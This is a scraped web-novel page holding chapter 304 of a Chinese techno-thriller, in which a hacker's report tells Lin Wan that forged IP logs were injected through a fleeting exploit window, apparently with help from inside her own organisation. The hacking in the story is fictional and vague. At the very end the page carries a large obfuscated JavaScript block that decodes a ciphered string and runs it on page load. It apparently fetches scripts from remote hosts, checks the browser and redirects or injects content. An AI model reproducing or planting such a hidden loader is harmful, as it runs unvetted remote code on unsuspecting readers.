首页
第304章 报告结论:IP被
返回
关灯 护眼:关 字号:小

第304章 报告结论:IP被远程操控跳转

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第304章报告结论:IP被远程操控跳转(第1/2页)
    阿九的报告像一颗投入心湖的巨石,激起的不仅是怀疑的巨浪,更是对“真实”本身的动摇。林晚反复研读着那些已经深深刻入脑海的技术分析,每一个字都像冰冷的齿轮,在她心中咬合、转动,发出令人不安的声响。
    “心跳不自然……时间源差异……精心伪造后嵌入……”
    这些结论指向一个冰冷的事实:母亲叶瑾提供的、作为指控陆沉舟是“观棋不语”的关键证据——那份IP指令日志,极有可能是伪造的。陆沉舟的辩解,至少在技术层面,获得了有力的、来自第三方顶尖专家的初步支持。
    但林晚没有被这份“支持”冲昏头脑。她深知阿九的结论基于有限的片段,而“可能栽赃”不等于“陆沉舟清白”。栽赃者需要满足的条件——知晓废弃服务器细节、掌握精确行动时间线、拥有高超伪造技术——每一条都像沉重的锁链,将怀疑引向更黑暗的深处。
    谁是栽赃者?母亲?还是隐藏在母亲背后,或者“棋手”内部,乃至“隐门”顶端的某个黑影?
    就在她对着阿九报告的字句反复咀嚼,试图理清其中错综复杂的暗示时,那台备用终端的角落,那个代表“老地方第三方案”的伪装图标,再次极其短暂地闪烁了一下绿光,比上一次更加微弱,几乎难以察觉。
    林晚的心脏骤然收紧。阿九又发来了信息?这么快?是补充说明,还是……出了什么变故?
    她立刻重复那套繁琐的提取流程,手指因为紧张而有些僵硬。这一次,解析过程似乎遇到了更多干扰,进度条时断时续,耗费了将近二十分钟,屏幕上才终于艰难地弹出了新的窗口。
    这次的文字,失去了阿九惯有的那种跳跃感和夸张的感叹号,显得异常简洁、冷静,甚至带着一丝……凝重。
    “晚,追加报告。慎读。”
    开头就让林晚屏住了呼吸。
    “针对之前的‘心跳’和‘钟表’疑点,我做了更深入的逆向模拟和关联分析。焦点放在:如果指令是伪造并注入的,那么最初的、未经过伪装的原始网络流量,或者说,伪造指令数据包在进入目标服务器节点网络之前,可能留下的、最原始的路径痕迹是什么?”
    “我调用了更多资源,冒了更大的险,追踪了那个时间段,进出卢森堡那个数据中心A3区、特别是目标服务器所在子网的所有可追溯的、非正常加密通道的元数据(主要是Netflow和部分经过匿名化处理的运营商级日志,别问细节,很脏的手段)。大海捞针,但我运气不错,捞到了一点东西。”
    “我发现了一条非常隐蔽的、被多重加密和跳转掩盖的数据流。它没有直接指向目标服务器,而是先进入了数据中心另一个看似无关的、用于负载均衡和内容分发的边缘节点。这个边缘节点在那个时候,恰好有一个未公开披露的、存在了大约72小时的软件漏洞,允许特定构造的数据包在特定条件下,进行非授权的、极短时间的横向移动。”
    林晚的心跳开始加速,她预感到阿九即将揭示更关键的东西。
    “利用这个漏洞,那条数据流进行了一次‘幽灵跳转’,从一个虚拟接口‘滑’到了另一个物理上临近的接口,而这个接口,与目标服务器节点所在的内部管理子网,存在一条低优先级的、用于紧急备份的静态路由。这条路由正常情况下是关闭的,但在那个漏洞被触发的极短时间内,路由表出现了一次异常刷新,导致它短暂开放了大约1.7秒。”
    “1.7秒,对于经过精心设计的攻击载荷来说,足够了。那条数据流抓住了这1.7秒的窗口,完成了从边缘节点到目标服务器内部网络的‘潜入’。随后,它在内部网络又经过了几次快速的、基于MAC地址欺骗的短跳,最终抵达目标服务器节点的管理端口,并模拟了一个来自内部的、拥有足够权限的会话,将伪造的指令数据包‘注入’到正常的日志流中。”
    阿九的描述如同一幅精密的战术地图,清晰地勾勒出一次极其专业、极其隐蔽的网络渗透和攻击路径。攻击者不仅技术高超,而且对目标数据中心的内网结构、漏洞状态甚至路由策略都有深入骨髓的了解,才能利用如此短暂和脆弱的窗口完成攻击。
    “这条攻击路径,从外部进入数据中心开始,到最终在目标服务器内部网络释放载荷为止,总共经过了七次主动跳转,跨越了至少三个不同国家的匿名网络节点,使用了至少两种不同的协议伪装和三种加密混淆技术。每一跳都精心选择了网络拥堵、监控薄弱或法律管辖模糊的节点作为跳板,几乎抹去了所有直接追溯的可能。”
    七次跳转,三国节点,多种伪装……这绝非一时兴起的攻击,而是经过周密策划、资源充沛的专业行动。
    “但是,”阿九的文字在这里停顿了一下,似乎在下定决心,“攻击者犯了一个错误,或者说,留下了一个几乎不算是痕迹的‘气味’。在第七次,也就是最后一次、从数据中心内部某个交换设备跳到目标服务器管理端口的那一跳,攻击载荷为了适应内部网络一个非常特殊的、老旧的安全协议检查机制,不得不对数据包头部做了一个极其微小的、几乎不影响功能的格式调整。这个调整本身没有问题,但它引入了一个特定版本编译器的、在特定优化选项下才会产生的、几乎无法察觉的字节对齐特征。”
    “这个编译器特征,就像是代码的‘指纹’,非常细微,通常会被网络设备忽略或覆盖。但在我能够接触到的、有限的、那个内部交换设备在事发前后一段时间的内存转储碎片中(对,我连这个都搞到了一点),我捕捉到了这个‘指纹’的残留。它指向一个特定版本、特定配置的、常用于高性能网络渗透工具开发的C++编译器链。”
    林晚的呼吸变得急促起来。编译器特征!这几乎可以算是攻击者的“数字DNA”了!虽然范围依然很大,但已经是极其宝贵的线索!
    “我顺着这个编译器特征,结合攻击手法的某些习惯模式(比如对特定类型漏洞的偏好、跳转节点的选择策略、加密算法的组合方式),在我已知的、有限的顶级黑客和技术团队中进行特征匹配。结果……”阿九似乎深吸了一口气,“结果,匹配度最高的几个模式片段,与我三年前参与追踪的、一个与‘隐门’早期活动存在若即若离关联的、代号为‘织网人’的匿名攻击者群体,有超过70%的相似性。而‘织网人’最臭名昭著的一次行动,就是入侵并长期潜伏在某跨国能源企业的核心控制网络,其手法中就包括利用类似的短暂路由漏洞和编译器特征伪装。”
    (本章未完,请点击下一页继续阅读)第304章报告结论:IP被远程操控跳转(第2/2页)
    “隐门”!攻击手法的特征,竟然与和“隐门”有关的黑客组织“织网人”高度相似!这似乎直接将伪造指令的攻击,与“隐门”联系了起来。是“观棋不语”指使“织网人”伪造了证据,栽赃陆沉舟?
    但阿九的报告还没有结束,接下来的文字,让林晚浑身的血液几乎要冻结。
    “然而,最让我不安的发现,还不是这个。”阿九的字里行间,透出一股罕见的犹豫和……惊疑,“在我尝试反向追踪那‘七次跳转’的初始入口——也就是攻击流最初是从哪个外部IP发起的——时,我遇到了极其强大的干扰和反追踪机制。对方显然在这方面做了最高级别的防护。但是,利用一些非常规的、基于时间延迟和路径节点物理地理位置的概率学分析(这个很复杂,不展开),我大致圈定了几个可能的地域来源。其中一个概率较高的来源区域,其网络特征、骨干网接入模式以及某些背景流量特征……与我记忆中,‘棋手’某个位于西欧的、极少启用、仅用于极端情况下的备用安全通讯节点的特征,存在高度可疑的吻合。”
    “我无法百分百确定。对方的反追踪做得太好了,留下的痕迹微乎其微,我的分析建立在多层概率模型和特征匹配上,存在不小的误差空间。但是,晚,这个可能性……我不能忽视。”
    “如果我的推测有哪怕百分之十的可能性是真的,那么,这次精心策划的、利用高超技术伪造日志栽赃陆沉舟的攻击,其最初的跳板,或者至少是经过的关键节点之一,很可能与‘棋手’内部的某个隐蔽资源有关。”
    “这不是外部黑客随机选择的路径。这是一次充分利用了内外部资源、对目标极其了解、并且可能借助了内部网络拓扑信息甚至权限的、高度定向的攻击。”
    阿九的追加报告到此戛然而止,没有更多的分析,也没有建议。但字里行间透露出的寒意,比之前那份报告更加刺骨。
    林晚呆呆地坐在屏幕前,感觉周围的空气都凝固了,冰冷刺骨。
    阿九的结论,从最初的“日志可能伪造”,推进到了“攻击路径高度专业,手法与‘隐门’关联黑客相似”,最后,指向了那个最可怕的可能性——“攻击可能借助了‘棋手’内部资源”。
    栽赃陆沉舟的,不仅仅是技术高手,不仅仅是了解内情的人,还可能是一个能够调动或利用“棋手”内部网络资源的存在。
    这意味着什么?
    如果阿九的推测属实,那么怀疑的阴影,已经浓重到足以笼罩整个“棋手”组织。能够接触并使用那个“极少启用、仅用于极端情况下”的西欧备用节点的人,在“棋手”内部,屈指可数。要么是最高层的几个核心成员(0号、陈烬、少数几个区域的负责人),要么是拥有特殊权限的技术人员(比如阿九自己,或者其他隐藏的顶尖高手)。
    母亲叶瑾是“弈者”,但阿九并未明确将攻击源头指向母亲已知的活动范围或资源。然而,如果母亲是“观棋不语”,或者与“观棋不语”合作,那么她利用“棋手”内部资源(可能是她发展或胁迫的内应)来伪造证据、栽赃陆沉舟,逻辑上完全说得通。这也能解释她为何能“恰好”截获这份关键日志——因为日志可能就是她(或她的同伙)伪造并“放置”在特定位置,等着被她“发现”的。
    另一种可能,栽赃者就是“棋手”内部的某个人,出于某种未知的目的(清除陆沉舟?搅乱局势?),与“隐门”或“观棋不语”合作,或者干脆就是“观棋不语”本人潜伏在“棋手”内部!这个想法让林晚不寒而栗。陈烬?0号?还是某个她从未怀疑过的、看似无害的成员?
    陆沉舟的嫌疑,因为“栽赃”可能性的增大而似乎减轻了。但如果栽赃者来自“棋手”内部,并且能利用内部资源,那是否意味着陆沉舟对“棋手”的渗透和影响,比他承认的更深?他撕毁与“隐门”协议的说法是否可信?他是否在“棋手”内部也有不为人知的盟友或势力?
    所有线索和怀疑,最终都如同乱麻,纠缠在一起,指向一个深不见底的黑暗旋涡。旋涡的中心,是“棋手”内部。
    阿九的报告,没有给出简单的答案,而是将问题推向了更复杂、更危险的层面。它像一道强烈的探照灯,照亮了IP被远程操控跳转的复杂路径,却也照出了路径尽头,那若隐若现的、来自“自己人”的阴影。
    林晚感到一阵强烈的眩晕和恶心。她曾经以为“棋手”是她对抗“隐门”、为父报仇的堡垒和利剑。如今,这把剑的剑柄上,似乎也缠绕着毒蛇。
    她该相信谁?阿九吗?阿九提供了技术分析,但阿九本人是否绝对可靠?她是否也可能被误导,或者……她是否就是那个“内部资源”的知情者甚至使用者?
    信任,这个曾经支撑她走到现在的基石,正在她脚下寸寸碎裂。
    她关闭了终端,屏幕暗下去,映出她苍白而茫然的脸。阿九的两份报告,像两份冰冷的判决书,一份指向证据的虚假,一份指向根源的污浊。
    母亲的可信度在技术分析下动摇。
    陆沉舟的嫌疑因栽赃可能性而出现转机。
    但“棋手”内部,却蒙上了浓重的阴影。
    她缓缓站起身,走到窗边,将额头抵在冰冷的玻璃上。窗外,阿尔卑斯山的星空依旧璀璨,却再也无法给她带来丝毫宁静,只显得遥远而冷漠。
    IP被远程操控跳转,路径复杂,源头可疑。证据可能伪造,黑手可能在内。
    下一步,她该怎么办?是拿着阿九的报告去质问母亲?还是去找陆沉舟,分享这份可能为他“洗脱”部分嫌疑的分析?亦或是,独自深入调查,揪出那个可能隐藏在“棋手”内部的幽灵?
    每一个选择,都布满了荆棘,都可能将她推向更危险的境地。
    但有一件事是确定的:她不能再被动地等待,不能再被双方提供的“真相”牵着鼻子走。她必须主动出击,去寻找那个能解开所有谜团的、最关键的钥匙——那个隐藏在“棋手”内部,或者至少能利用“棋手”内部资源,实施了这次完美栽赃的“幽灵”。
    她需要知道,在那七次跳转的背后,在那编译器特征的背后,在那个与“棋手”备用节点特征吻合的来源背后,究竟是谁,在操控这一切。
    夜色深沉,前路迷茫。但林晚眼中,那抹冰冷的、决绝的光芒,再次亮起。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();